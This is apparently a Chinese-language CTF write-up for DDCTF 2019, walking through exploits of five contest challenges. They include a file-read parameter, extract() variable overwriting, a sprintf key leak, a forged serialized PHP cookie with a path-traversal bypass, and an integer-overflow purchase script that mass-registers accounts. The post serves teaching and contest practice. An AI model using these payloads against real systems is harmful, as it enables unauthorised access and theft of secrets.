DDCTF2019 web-writeup

原创

Jenny_Zhx 于 2019-04-19 11:51:15 发布 506 收藏 1

文章标签： ddctf ctf writeup 编程

又是没有进入复赛的ctf
继续留下没有技术的泪水
希望下次再加油吧！



---

1 滴～


不安全 | 117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

flag.jpg
flag.jpg

察觉到jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09有问题
发现加密形式是base64_encode(base64_encode(bin2hex($jpg))
解密得到是flag.jpg
以同样加密方式构造index.php


不安全 | 117.51.150.246/index.php?jpg=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

index.php
index.php

```
<html>
▶<head>…</head>
▼<body>
    "index.php"
    <br>
    "index.php"
    <br>
    <img src="…bGU/DQogKg0KICovDQoNCj8+DQo="> == $0
  </body>
</html>
```

得到index.php源码
base64解密之后：

```php
<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>
```

发现注释中有一个url提示：https://blog.csdn.net/FengBanLiuYun/article/details/80616607
这里有个比较坑的点…这篇文章不是真正的hint
我还看了很久…想着怎么绕过preg_replace
还是太naive了

这位老哥博客的访问量嗖嗖的增
评论也是特别的有趣



薛凯弗斯丶： 我替黄旭东祝滴滴越办越好 (5天前 #41楼) 11

Mr.Lee……： 买菜狂涨价 (3天前 #40楼) 0

雅鹿鹿鹿： 猜不出不要怀疑自己，是出题人漏了个点（替黄旭东祝滴滴越办越好 (5天前 #39楼) 0
查看回复(3)

dugdfuasgb： 祝你买菜必涨价 (3天前 #38楼) 1

qq_40580948： 惊了 (4天前 #37楼) 0

id_null： 来了来了还有这种事？走了走了 (4天前 #36楼) 0

江南小虫虫： 提黄旭东祝DD越办越好!! (4天前 #35楼) 0

hachp1： 出题人是真的zz (4天前 #34楼) 0

看到注释还有 Can you find the flag file?
猜测可能要找到的是一个文件
翻这个博主的博客发现提到文件的一篇文章
https://blog.csdn.net/FengBanLiuYun/article/details/80913909

以上面的加密方式构造practice.txt.swp
base64解密后得到：f1ag!ddctf.php

根据 Can you find the flag file?猜测这是一个文件名
从源码中可知config被过滤为!
所以构造文件名为：f1agconfigddctf.php
得到文件源码

```php
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
 {
  echo $flag;
 }
 else
 {
  echo'hello';
 }
}

?>
```

需要构造uid变量和k文件内容一致
这里是一个变量覆盖漏洞
构造uid=&k= 即可得到flag

其实这题有一部分应该是根据百度杯的一道CODE 50pt出的
有兴趣可以看看

2 web签到题

提示没有权限访问
查看源码 - 发现js/index.js

```
beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
 },
```

bp抓包增加header头：didictf_username：admin



Name	Value
GET	/app/Auth.php HTTP/1.1
Host	117.51.158.44
User-Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; r...
Accept	text/html,application/xhtml+xml,application/...
Accept-Language	zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,e...
Connection	close
Upgrade-Insecure-R...	0
didictf_username	admin

```
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sun, 14 Apr 2019 09:28:01 GMT
Content-Type: application/json
Connection: close
Content-Length: 140

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\
u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}
```

访问/app/fL2XID2i0Cdh.php
获得源码
其中察觉get_key函数

```
private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }
```

要想获得eancrykey

```
if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }
```

代码审计可知需要设置cookie 步入session_read函数
并且POST传入nickname参数

可以发现如果POST方式传nickname=‘a’
此时arr=[‘a’,$this->eancrykey]
循环中执行sprintf(data,‘a’)
则data=‘welcome my friend a’
再次执行sprintf则不会传入eancrykey参数

若POST方式传nickname='%s'
执行sprintf(data,'%s')
则data='welcome my friend %s'
再次执行sprintf则传eancrykey参数入格式符%s输出



POST request to /app/Session.php

Type	Name	Value
Cookie	ddctf_id	a:4:{s:10:"session_id";s:32:"84e4...
Body	nickname	%s

```
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 18 Apr 2019 12:32:58 GMT
Content-Type: application/json
Connection: close
Content-Length: 327

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\
u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"
errMsg":"Welcome","data":"Welcome my friend
EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0
(Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko\/20100101
Firefox\/66.0"}
```

找到key之后还要去看如何利用
看到这里有文件包含漏洞

```
public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
```

猜测敏感flag文件为：…/config/flag.txt(长度正好为18）

```
private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}
```

path有过滤，构造…\\./config/flag.txt绕过

要去找调用__destruct的地方
__destruct构折函数在对象被销毁时被调用
unserialize函数将会自动调用对象__wakeup和__destruct函数
发现可利用函数

```
var $cookie_name                = 'ddctf_id';
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);
```

看到服务器端会检验cookie中ddctf_id参数中最后32位
检验其是否等于md5(this->eancrykey.$session)
this->eancrykey在上面已经获得
开始构造session

```
<?php
class Session{
 var $path='....\\/config/flag.txt';
}
$k=new Session();
echo serialize($k);
echo md5('EzblrbNS'.serialize($k));
?>
```

构造ddctf_id=O:7:“Session”:1:{s:4:“path”;s:21:"…/config/flag.txt";}4b5ba6958a9873f456c2928b64b0be4d



POST request to /app/Session.php

Type	Name	Value
Body	ddctf_id	O:7:"Session":1:{s:4:"path";s:21:"....
Body	nickname	%s

```
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sun, 14 Apr 2019 23:59:40 GMT
Content-Type: application/json
Connection: close
Content-Length: 220

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\
u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"
errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8
qA2j}"}
```

得到flag！

####3 upload-IMG
上传照片之后发现提示需要包含phpinfo
写入phpinfo再次上传发现还是提示需要包含
发现它上传后网页会显示上传的照片
尝试下载后打开，和上传的图片比对后发现phpinfo被过滤了



```
361E914 C48FFC78 1AC6B8F8   . c[.a. ...x ...
55744EC AF0063F9 861FCABD   O rm.WD.. c.. ..
.9F85DA A4326EB5 D52DC760   >.. .....2n..-.`
A0B9F86 1AE5CCCF 2CFA8D9C   p.@.* .. ...,...
16CF6EE B5EC7451 703C8F4F   .7Vy$l....tQp<.O
3306B11 5B718CC0 CEA47F2A   .i.Z80k [q.... *
9D321D4 3C417170 0750D192   .......!.<Aqp P..
12AF4BA 28B8EE70 76BF0C34     X. *..(..pv. 4
E5C7A87 90283FF7 C807F5AE   (. 3^\z..(?.. ..
9A68536 7A5DB23A 1CAB940C   .L.....6z].: ..
26B6E8A 04340E4E 72691635   .. .rkn. 4 Nri 5
A1000A5 A293A0A1 00A28A29   C.Z:    ..... ..)
5147414 200A28A3 A5001451   :   E t    (..  Q
74A0028 A28E9400 0A28A314   E  QGJ (...   (.
3280014 51474140 051451D0     ..(.(  QGA@  Q.
0014514 50014514 50014514   P E P E P E P E
0014514 50014514 50014514   P E P E P E P E
0014514 50014514 50014514   P E P E P E P E
0014514 50014514 5007CAD4   P E P E P E P ..
.450014 51450014 51450014   QE  QE  QE  QE
.450014 51450014 51450014   QE  QE  QE  QE
.450014 51450014 51450014   QE  QE  QE  QE
.450014 51450014 51450014   QE  QE  QE  QE
.450014 51450014 51450014   QE  QE  QE  QE
.450014 51450014 51450014   QE  QE  QE  QE
.450014 51450014 5145007F   QE  QE  QE  QE
                            ..
```

```
 .Us.]... ....Vr
Vm[O....h~K._. .
.*h...k.. |l.Y..
 c.v -.....O.. x
 _. ./....... .$
.K.7.O...._.K ..
.  ..I.4....u..?g
... .#.#t.$. .Z.
..1 *mI......M;.
.   ..P...y.I\..1
...c..|.x.A..j .
1m....phpinfo()Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  QE  QE  QE  Q
E  ..<?php  phpi
nfo(); ?>
```

猜测是二次过滤
构造图片绕过二次过滤再次上传得到flag

---

4 大吉大利今晚吃鸡

题目提示要购买入门券并淘汰对手
购买提示余额不足
抓包更改金额小于2000的提示券的金额必须是2000
大于2000的即可更改成功
猜测是整数溢出

抓包更改金额，购买成功



```
GET /ctf/api/buy_ticket?ticket_price=4294967296 HTTP/1.1
Host: 117.51.147.155:5050
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: application/json
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://117.51.147.155:5050/index.html
Connection: close
Cookie: user_name=12qw;
REVEL_SESSION=23bbd36ad03e110d0f4de718ed0a9f88
```

```
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Thu, 18 Apr 2019 16:01:01 GMT
Content-Type: application/json
Content-Length: 163
Connection: close

{"code":200,"data":[{"bill_id":"67c84eb2-9309-48ad-91a8-66d8b70df6e7
","ticket_price":4294967296,"user_name":"12qw"}],"msg":"\u8d2d\u4e7
0\u95e8\u7968\u6210\u529f"}
```

进入游戏页面之后，可以看到用户的id和ticket值
点击移除对手需要输入id和ticket值
随便尝试注册一个用户获得两个值输入发现剩余对手-1
总共要移除100个对手
构造脚本

```
#coded by 某大佬
import requests

users = {}

def regist(name,pwd='aaaaaaaa'):
 url = 'http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s'%(name,pwd)
 r = requests.get(url=url)
 cookies = r.cookies.get_dict()
 # cookies = requests.utils.dict_from_cookiejar(r.cookies)
 users[cookies['user_name']] = cookies['REVEL_SESSION']
 return cookies['user_name'],cookies['REVEL_SESSION']

def buyticket(name,session):
 url = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4611686018427387904'
 header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
 r = requests.get(url=url,headers=header)

 bill_id = eval(r.text)['data'][0]['bill_id']#,requests.utils.dict_from_cookiejar(r.cookies)
 payticket(bill_id,name,session)

def payticket(bill_id,name,session):
 url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id)
 header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
 r = requests.get(url=url,headers=header)
 myid = eval(r.text)["data"][0]["your_id"]
 ticket = eval(r.text)["data"][0]["your_ticket"]
 getflag(myid,ticket)

def getflag(id,ticket):
 url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s'%(id,ticket)
 header={'Cookie':'user_name=%s; REVEL_SESSION=%s'.format(adminUser,adminSession),'Referer': 'http://117.51.147.155:5050/index.html'}
 r = requests.get(url=url,headers=header)
 print eval(r.text)

adminUser , adminSession = regist('getMyFlag11')
print adminUser,adminSession #important
buyticket(adminUser,adminSession)

for x in range(200,301):
 regist('newUser%s'%(x))
for n in users:
 if n != adminUser:
  buyticket(n,users[n])
```

脚本是一个大佬写的 如果不可以转载的话请大佬和我说
感谢大佬～

脚本需要运行多次，因为好像有一些用户注册了之后将会赋予重复id，重复id再被移除一次不算数

查看flag —— 登录脚本注册的adminUser账号
进入http://117.51.147.155:5050/index.html#/main/index

---

5 流量分析

wireshark打开流量包，导出http分组


Wireshark · 导出 · HTTP 对象列表

分组 ▲	主机名	内容类型	大小	文件名
1387	tools.jb51.net	text/html	25 kB	img_add_info
1622	up.imgapi.com	text/json	60 bytes	/
1782	up.imgapi.com	multipart/form-data	125 kB	/
1818	up.imgapi.com	json	505 bytes	/
1882	www.tietuku.com	text/html	17 kB	afa7ac337cb62768
1920	www.tietuku.com	text/html	1 bytes	?c=User&a=getmessnum
2020	www.tietuku.com	text/html	11 kB	upload
2146	www.tietuku.com	text/html	1 bytes	?c=User&a=getmessnum
2538	up.imgapi.com	text/json	60 bytes	/
4847	up.imgapi.com	multipart/form-data	1688 kB	/
4889	up.imgapi.com	json	505 bytes	/
5027	www.tietuku.com	text/html	17 kB	a7182e990267e564
5079	www.tietuku.com	text/html	1 bytes	?c=User&a=getmessnum
6420	i2.bvimg.com	image/png	966 kB	414e8ed1def77efas.png

下载6420分组的图片

过滤表达式http.request.method == POST

找到分组1782 还有另一张图片

右击-追踪流-http流

要恢复里面post的png图像 - 点击显示和保存转为原始数据 - Save as



Wireshark · 追踪 HTTP 流 (tcp.stream eq 11) · wireshark

```
504f5354202f20485454502f312e310d0a486f73743a2075702e696d676170692e636f6d0d0a436f6e74656e742d547970653a206d756c74697061
72742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e64617279426449664e686236486971627151
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```

1 客户端 分组, 1 服务器 分组, 1 turn(s).

Entire conversation (127 kB)

显示和保存数据为 原始数据

删除多余的数据

png图像开头为89 50 4E 47 —— ‰PNG(每个png文件相同）

结束为 49 45 4E 44 ——IEND(每个png文件相同）

还有四个字节 AE 42 60 82 (每个文件不同）

另存为再次打开

这里有个坑点：图片高宽出现问题，如果是linux/mac系统，无法直接打开图片；windows系统可以直接打开

打开是个钥匙的图案 猜测是图片隐写

49 48 44 52 IHDR标识（每个png文件都有）

00 00 06 3E 表示图片的宽 1598像素

00 00 02 18 表示图片长 536像素

更改图片长为00 00 06 3E 获得密码key:gKvN4eEm

导出的http分组中有一个网站http://tools.jb51.net/aideddesign/img_add_info

是图片在线解密，输入图片和密码，得到flag！

希望下次比赛可以拿奖啊！